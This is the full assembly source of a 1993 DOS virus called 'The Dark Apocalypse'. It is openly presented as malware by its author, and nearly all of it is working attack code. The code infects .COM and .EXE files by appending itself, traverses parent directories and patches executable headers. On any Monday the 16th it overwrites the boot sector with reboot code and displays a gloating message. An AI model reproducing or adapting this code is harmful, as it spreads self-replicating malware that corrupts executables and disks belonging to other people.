;****************************************************************************
;*                            The Dark Apocalypse                           *
;*                      (C)1993 by Crypt Keeper ùùRoTùù                     *
;****************************************************************************

;Parasitic Non-Resident .COM and .EXE infector
;Activation : Monday 16th (Fri 13, Sat 14, Sun 15, ...)

;This virus is a parasitic infector of .COM and .EXE files and is traversal
;(infects more than the directory it is in) using the "CD .." method.  It
;infects files by appending to the end.  It triggers on any Monday 16th,
;replacing the boot sector with code to reboot the machine.
;COMMAND.COM is never infected.

CODE	SEGMENT
	ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE

VTOP	EQU	$                      ;Top of virus code

;Equates --------------------------------------------------------------------

VLENGTH	EQU	VBOT-VTOP              ;Length of virus in bytes
MAXINF	EQU	3                      ;Max files to infect in each directory
VLPARA	EQU	(VLENGTH/16)+1         ;Virus length in paragraphs
IDWORD	EQU	0FFEEh                 ;ID word (for EXE files)

;----------------------------------------------------------------------------

	LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer
	MOV SP,AX

	CALL GETDELTA
GETDELTA:
	POP BP
	SUB BP,OFFSET(GETDELTA)        ;Find delta offset

	PUSH DS
	PUSH ES                        ;Save original segment regs (EXE)

	PUSH CS
	POP DS
	PUSH CS
	POP ES                         ;Set up new segments

	CLD                            ;Clear direction flag

	LEA SI,[BP+OFFSET(ORIGBYT)]
	LEA DI,[BP+OFFSET(OLD_OB)]
	MOV CX,BCLEN
	REP MOVSB                      ;Shadow saved bytes into buffer

	LEA SI,[BP+OFFSET(ORIG_IP)]
	LEA DI,[BP+OFFSET(ORIGIP)]
	MOV CX,4
	REP MOVSW                      ;Shadow EXE header information

	MOV AH,2Ah                     ;Get date
	INT 21h

	CMP AL,1                       ;Monday?
	JNE NOTRIGGER                  ;If not, don't trigger

	CMP DL,16                      ;The 16th?
	JNE NOTRIGGER                  ;If not, don't trigger

	MOV AH,19h                     ;Get default drive
	INT 21h

	LEA BX,[BP+OFFSET(REBOOTCOD)]  ;Offset of reboot code
	MOV CX,1                       ;Number of sectors to write
	XOR DX,DX                      ;Start at absolute sector 0

	INT 26h                        ;Absolute disk write
	JC WRITE_ERROR                 ;Skip POPF if error

	POPF                           ;Pop flags (after INT 26h return)
WRITE_ERROR:
	LEA DX,[BP+OFFSET(MESSAGE)]    ;Display message
	MOV AH,9                       ;Print string
	INT 21h

	INT 05h                        ;Print screen
	
	XOR AH,AH                      ;Read keyboard
	INT 16h                        ;BIOS keyboard interrupt

	JMP REBOOTCOD                  ;Reboot the machine
NOTRIGGER:
	LEA SI,[BP+OFFSET(ORIGDIR)]    ;Save original directory name
	XOR DL,DL                      ;from current drive

	MOV AH,47h                     ;Get current directory
	INT 21h
DIRSCAN:
	LEA SI,[BP+OFFSET(OLDDIR)]     ;Save old directory name
	XOR DL,DL                      ;from current drive

	MOV AH,47h                     ;Get current directory
	INT 21h

	MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR
	CMP AX,'\ '                    ;Root directory?
	JE NOMORE_DIRS                 ;If so, end scan

	MOV DL,[BP+OFFSET(COMID)]
	PUSH DX                        ;Save COM ID

	CALL INFECT                    ;Attempt to infect files in directory

	POP DX
	MOV [BP+OFFSET(COMID)],DL      ;Restore COM ID

	LEA DX,[BP+OFFSET(CHDIR)]      ;Offset of directory name

	MOV AH,3Bh                     ;Change current directory
	INT 21h

	JC NOMORE_DIRS                 ;If error, end scan
	JMP SHORT DIRSCAN
NOMORE_DIRS:
	LEA DX,[BP+OFFSET(ORIGDIR)]    ;Reset original directory
	
	MOV AH,3Bh                     ;Change current directory
	INT 21h
	
	MOV DL,0FFh
	CMP [BP+OFFSET(COMID)],DL      ;Is this a .COM file
	JE RET_COM                     ;If so, execute .COM file return
	
	MOV AH,51h                     ;Get PSP adress
	INT 21h

	ADD BX,16                      ;Compensate for PSP size

	POP ES
	POP DS                         ;Restore original ES and DS from EXE
	
	CLI                            ;Clear interrupts for stack change

	MOV AX,CS:[BP+OFFSET(ORIGSP)]
	MOV SP,AX
	MOV AX,CS:[BP+OFFSET(ORIGSS)]
	ADD AX,BX                      ;Find segment for SS
	MOV SS,AX                      ;Reset original EXE stack
	
	STI

	ADD CS:[BP+OFFSET(ORIGCS)],BX  ;Find segment for CS

	JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code
RET_COM:
	POP AX
	POP AX                         ;Get "EXE stuff" off stack

	LEA SI,[BP+OFFSET(OLD_OB)]     ;Original bytes from .COM file
	MOV DI,100h                    ;Put at .COM entry point
	MOV CX,BCLEN                   ;Move length of original bytes
	
	REP MOVSB                      ;Replace bytes of original .COM file
	
	MOV AX,100h
	PUSH AX
	RET                            ;Jump to original .COM code
					
INFECT:
	MOV AH,2Fh                     ;Get disk transfer adress
	INT 21h

	MOV [BP+OFFSET(OLDDTAS)],ES
	MOV [BP+OFFSET(OLDDTAO)],BX    ;Old disk transfer adress

	PUSH CS
	POP ES

	LEA DX,[BP+OFFSET(NEWDTA)]     ;New disk transfer adress

	MOV AH,1Ah                     ;Set disk transfer adress
	INT 21h

FINDEXE:
	XOR SI,SI                      ;Zero counter

	MOV CX,4                       ;Search for all normal files
	LEA DX,[BP+OFFSET(SSPEC1)]     ;Search for *.EXE

	MOV AH,4Eh                     ;Find first file
	INT 21h

	JNC DISEASE_EXE                ;Carry set means no more .EXE files
	JMP NOMORE_EXE
FIND_NEXT_EXE:
	MOV AH,4Fh                     ;Find next file
	INT 21h

	JNC DISEASE_EXE                ;Carry set means no more .EXE files
	JMP NOMORE_EXE
DISEASE_EXE:
	XOR CX,CX                      ;Set attributes to normal
	LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect

	MOV AX,4301h                   ;Set file atttibutes
	INT 21h

	MOV AX,3D02h                   ;Open file for READ/WRITE access
	INT 21h

	MOV [BP+OFFSET(THANDLE)],AX    ;File handle

	MOV BX,AX
	MOV CX,28                      ;Read 28 bytes (EXE header)
	LEA DX,[BP+OFFSET(EXEHEADER)]  ;Exe header buffer

	MOV AH,3Fh                     ;Read file or device
	INT 21h

	MOV AX,IDWORD
	CMP [BP+OFFSET(SSSP)],AX       ;Is EXE already infected?
	JNE GO_AHEAD_INFECT            ;If not, go ahead
	JMP END_EXE_INFECTION          ;If so, end routine

GO_AHEAD_INFECT:
	XOR AX,AX
	MOV [BP+OFFSET(COMID)],AL      ;Zero .COM ID field

	PUSH SI                        ;Save counter

	LES SI,[BP+OFFSET(CSIP)]       ;Get CS:IP from EXE header
	MOV [BP+OFFSET(ORIG_IP)],SI
	MOV [BP+OFFSET(ORIG_CS)],ES    ;Set fields in virus code

	LES SI,[BP+OFFSET(SSOFS)]      ;Get SP:SS (reversed) from EXE header
	MOV [BP+OFFSET(ORIG_SP)],ES
	MOV [BP+OFFSET(ORIG_SS)],SI    ;Set fields in virus code

	POP SI                         ;Restore counter

	PUSH CS
	POP ES

	XOR CX,CX
	XOR DX,DX                      ;Move file pointer zero bytes

	MOV AX,4202h                   ;Move to end of file
	INT 21h

	MOV CX,16
	DIV CX                         ;Divide file size by 16 (paragraph)

	PUSH AX
	SUB AX,[BP+OFFSET(HEADSIZ)]    ;Subtract header size from paragraphs

	POP CX
	CMP AX,CX
	JA END_EXE_INFECTION           ;If file too small, end infection

	MOV [BP+OFFSET(CSIP)],DX
	MOV [BP+OFFSET(CSOFS)],AX      ;Set CS:IP in EXE header

	MOV [BP+OFFSET(SSOFS)],AX
	MOV CX,0FFEEh
	MOV [BP+OFFSET(SSSP)],CX       ;Set SS:SP in EXE header

	MOV CX,VLPARA
	ADD [BP+OFFSET(MINMEM)],CX     ;Add virus size in paragraphs to minmem

	MOV AX,[BP+OFFSET(ID_WORD)]    ;Get ID word from EXE header
	CMP AX,'MZ'
	JE EXE_OK
	CMP AX,'ZM'
	JE EXE_OK                      ;If a true EXE file, go ahead

	JMP SHORT END_EXE_INFECTION    ;If not (misnamed COM), end infection

EXE_OK:	MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
	MOV CX,VLENGTH                 ;Write virus length in bytes
	MOV DX,BP                      ;BP=Start of virus code
	
	MOV AH,40h                     ;Write file or device
	INT 21h
	
	XOR CX,CX
	XOR DX,DX                      ;Move file pointer zero bytes

	MOV AX,4202h                   ;Move to end of file
	INT 21h
	
	MOV CX,512                     ;Divide by 512 bytes (page)
	DIV CX

	CMP DX,00h
	JE GO_AHEAD_SET                ;If no remainder, go ahead and set

	INC AX                         ;Add another page (last page)

GO_AHEAD_SET:
	MOV [BP+OFFSET(TOTPAGE)],AX
	MOV [BP+OFFSET(LAST512)],DX    ;Set new EXE file size

	CALL SEEKZERO                  ;Seek to position zero in file
	
	MOV CX,28                      ;Length of EXE header
	LEA DX,[BP+OFFSET(EXEHEADER)]  ;Offset of header data
	
	MOV AH,40h                     ;Write file or device
	INT 21h
	
	INC SI                         ;Increment counter
END_EXE_INFECTION:
	MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
	MOV AH,3Eh                     ;Close file with handle
	INT 21h
	
	CALL RESET_ATTR                ;Reset original attributes
	
	CMP SI,MAXINF                  ;Maximum counter reached?
	JNE FNE                        ;If so, end all searches for directory
	JMP NOMORE_FILES

FNE:	JMP FIND_NEXT_EXE              ;Find next file

RESET_ATTR:
	MOV CX,[BP+OFFSET(ATTRIB)]     ;Reset old attributes
	LEA DX,[BP+OFFSET(FNAME)]      ;on file just infected
	
	MOV AX,4301h                   ;Set file attributes
	INT 21h
	RET                            ;Return to caller

SEEKZERO:
	XOR CX,CX
	XOR DX,DX                      ;Change offset = 0

	MOV AX,4200h                   ;Move from beginning of file
	INT 21h
	RET                            ;Return to caller

NOMORE_EXE:
	MOV CX,4                       ;Search for all normal files
	LEA DX,[BP+OFFSET(SSPEC2)]     ;Search for *.COM
	
	MOV AH,4Eh                     ;Find first file
	INT 21h
	
	JNC DISEASE_COM                ;Carry set means error
	JMP NOMORE_FILES
FIND_NEXT_COM:
	MOV AH,4Fh                     ;Find next file
	INT 21h

	JNC DISEASE_COM                ;Carry set means error
	JMP NOMORE_FILES
DISEASE_COM:
	XOR CX,CX                      ;Set attributes to normal
	LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect

	MOV AX,4301h                   ;Set file atttibutes
	INT 21h

	PUSH SI                        ;Save counter

	MOV SI,DX
	LEA DI,[BP+OFFSET(CS2)]        ;Compare with "COMMAND.COM"
	MOV CX,12                      ;11 bytes to compare

	REPE CMPSB                     ;Repeat until not equal

	POP SI                         ;Restore counter
	
	CMP CX,0                       ;All characters match?
	JE END_COM_INFECTION           ;If so, end infection routine

	MOV AX,3D02h                   ;Open file for READ/WRITE access
	INT 21h

	MOV BX,AX
	MOV CX,2                       ;Read one word of data
	LEA DX,[BP+OFFSET(CHKBUF)]     ;Buffer for word to check
	
	MOV AH,3Fh                     ;Read file or device
	INT 21h
	
	MOV AX,[BP+OFFSET(CHKBUF)]
	CMP AX,'MZ'
	JE END_COM_INFECTION
	CMP AX,'ZM'
	JE END_COM_INFECTION           ;End infection if misnamed .EXE
	
	CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code
	JE END_COM_INFECTION           ;End infection if already infected

	CALL SEEKZERO                  ;Seek to position zero in file

	MOV CX,BCLEN                   ;Length of branch code
	LEA DX,[BP+OFFSET(ORIGBYT)]    ;Save original bytes from COM file

	MOV AH,3Fh                     ;Read file or device
	INT 21h

	XOR CX,CX
	XOR DX,DX                      ;Move file pointer zero bytes

	MOV AX,4202h                   ;Move to end of file
	INT 21h
	
	ADD AX,100h                    ;Compensate for PSP
	MOV [BP+OFFSET(VOFFSET)],AX    ;Store virus offset in repeat code

	XOR AX,AX
	MOV [BP+OFFSET(COMID)],AH      ;Zero .COM ID field

	MOV CX,VLENGTH
	MOV DX,BP                      ;Delta offset = start of code

	MOV AH,40h                     ;Write file or device
	INT 21h

	CALL SEEKZERO                  ;Seek to position zero
	
	MOV CX,BCLEN                   ;Length of branch code
	LEA DX,[BP+OFFSET(BRANCH)]     ;Write branch code

	MOV AH,40h                     ;Write file or device
	INT 21h

	INC SI                         ;Increment counter
END_COM_INFECTION:
	MOV AH,3Eh                     ;Close file with handle
	INT 21h
	
	CALL RESET_ATTR                ;Reset original attributes
	
	CMP SI,MAXINF                  ;Maximum counter reached?
	JE NOMORE_FILES                ;If so, end all searches for directory

	JMP FIND_NEXT_COM              ;Find next .COM file
NOMORE_FILES:
	LDS DX,[BP+OFFSET(OLDDTAO)]    ;Get old disk transfer adress

	MOV AH,1Ah                     ;Set disk transfer adress
	INT 21h
	
	PUSH CS
	POP DS

	RET                            ;Return to caller

;Reboot code ----------------------------------------------------------------

REBOOTCOD:
	MOV AX,0040h
	MOV DS,AX
	MOV BX,1234h
	MOV WORD PTR DS:[0072h],BX     ;Warm reboot
	DB	0EAh
	DW	0
	DW	0FFFFh                 ;JMP FFFF:0000 (hard coded)
		
;Branch code ----------------------------------------------------------------

BCTOP	EQU	$                      ;Top of branch code

BRANCH:	XOR BP,DI                      ;Marker instruction
	DB	0BBh                   ;MOV BX,
VOFFSET	DW	0                      ;Offset of viral code
	MOV DI,OFFSET(COMID)
	ADD DI,BX                      ;Calculate location of COM id

	MOV AL,0FFh
	STOSB                          ;Set COM file flag

	PUSH BX
	RET                            ;Jump to virus code

BCBOT	EQU	$                      ;Bottom of branch code
BCLEN	EQU	BCBOT-BCTOP            ;Length of branch code

;Data -----------------------------------------------------------------------

CS2	DB	'COMMAND.COM',0        ;File to replace with reboot code
	DB	0FFh

CHDIR	DB	'..',0                 ;Change directory string

MESSAGE	DB	13,10
	DB	'Welcome to the Dark Apocalypse...  Your computer will',13,10
	DB	'never escape... You might as well read this and weep!',13,10
	DB	13,10
	DB	'The Dark Apocalypse v1.00  by Crypt Keeper [RoT]',13,10
	DB	'ùúúReign of Terrorúúù  [DARK APOCALYPSE]',13,10
	DB	13,10
	DB	'Press any key to continue...$'

ORIG_IP	DW	0
ORIG_CS	DW	0
ORIG_SS	DW	0
ORIG_SP	DW	0                      ;Original segments/pointers from EXEHDR

SSPEC1	DB	'*.EXE',0
SSPEC2	DB	'*.COM',0              ;Search specs

ORIGBYT	DB	0CDh
	DB	20h                    ;For proper .COM return to DOS
	DB	BCLEN-2 DUP ('!')      ;Buffer for saved bytes from .COM files

COMID	DB	0FFh                   ;ID byte set to 0FFh by branch if .COM

;----------------------------------------------------------------------------

VBOT	EQU	$                      ;Bottom of virus code

;Heap -----------------------------------------------------------------------

ORIGIP	DW	0
ORIGCS	DW	0
ORIGSS	DW	0
ORIGSP	DW	0                      ;Shadowed EXEHDR information

EXEHEADER:
ID_WORD	DW	0                      ;ID word (ZM or MZ)
LAST512	DW	0                      ;Number of bytes in last 512 byte page
TOTPAGE	DW	0                      ;Total number of pages in file
SEGENTS	DW	0                      ;Number of entries in segment table
HEADSIZ	DW	0                      ;Size of header in paragraphs
MINMEM	DW	0                      ;Minimum memory in paragraphs
MAXMEM	DW	0                      ;Maximum memory in paragraphs
SSOFS	DW	0                      ;Offset of SS from header (paragraphs)
SSSP	DW	0                      ;Stack pointer offset
NEGCHK	DW	0                      ;Negative checksum (ignored by DOS)
CSIP	DW	0                      ;Offset of IP from CS (bytes)
CSOFS	DW	0                      ;Offset of CS from header (paragraphs)
RELOFS	DW	0                      ;Offset of relocation table from loc 0
OVLNUM	DW	0                      ;Overlay number (ignored)

CHKBUF	DW	0                      ;Buffer for infection check (COM files)
VSEG	DW	0                      ;Segment of virus in RAM
THANDLE	DW	0                      ;File handle

OLDDIR	DB	70 DUP ('?')           ;Buffer for old directory name
ORIGDIR	DB	70 DUP ('?')           ;Buffer for original directory name

OLDDTAO	DW	0
OLDDTAS	DW	0                      ;Old disk transfer adress

OLD_OB	DB	BCLEN DUP ('%')        ;Buffer for shadow of old original code

STACK1	DB	64 DUP ('S')           ;Stack

NEWDTA:
	DB	21 DUP (' ')           ;Reserved
ATTRIB	DB	0                      ;Attributes of found file
FTIME	DW	0                      ;Time of last write
FDATE	DW	0                      ;Date of last write
FSIZE	DD	0                      ;File size
FNAME	DB	13 DUP ('?')           ;File name

;----------------------------------------------------------------------------

CODE	ENDS
	END

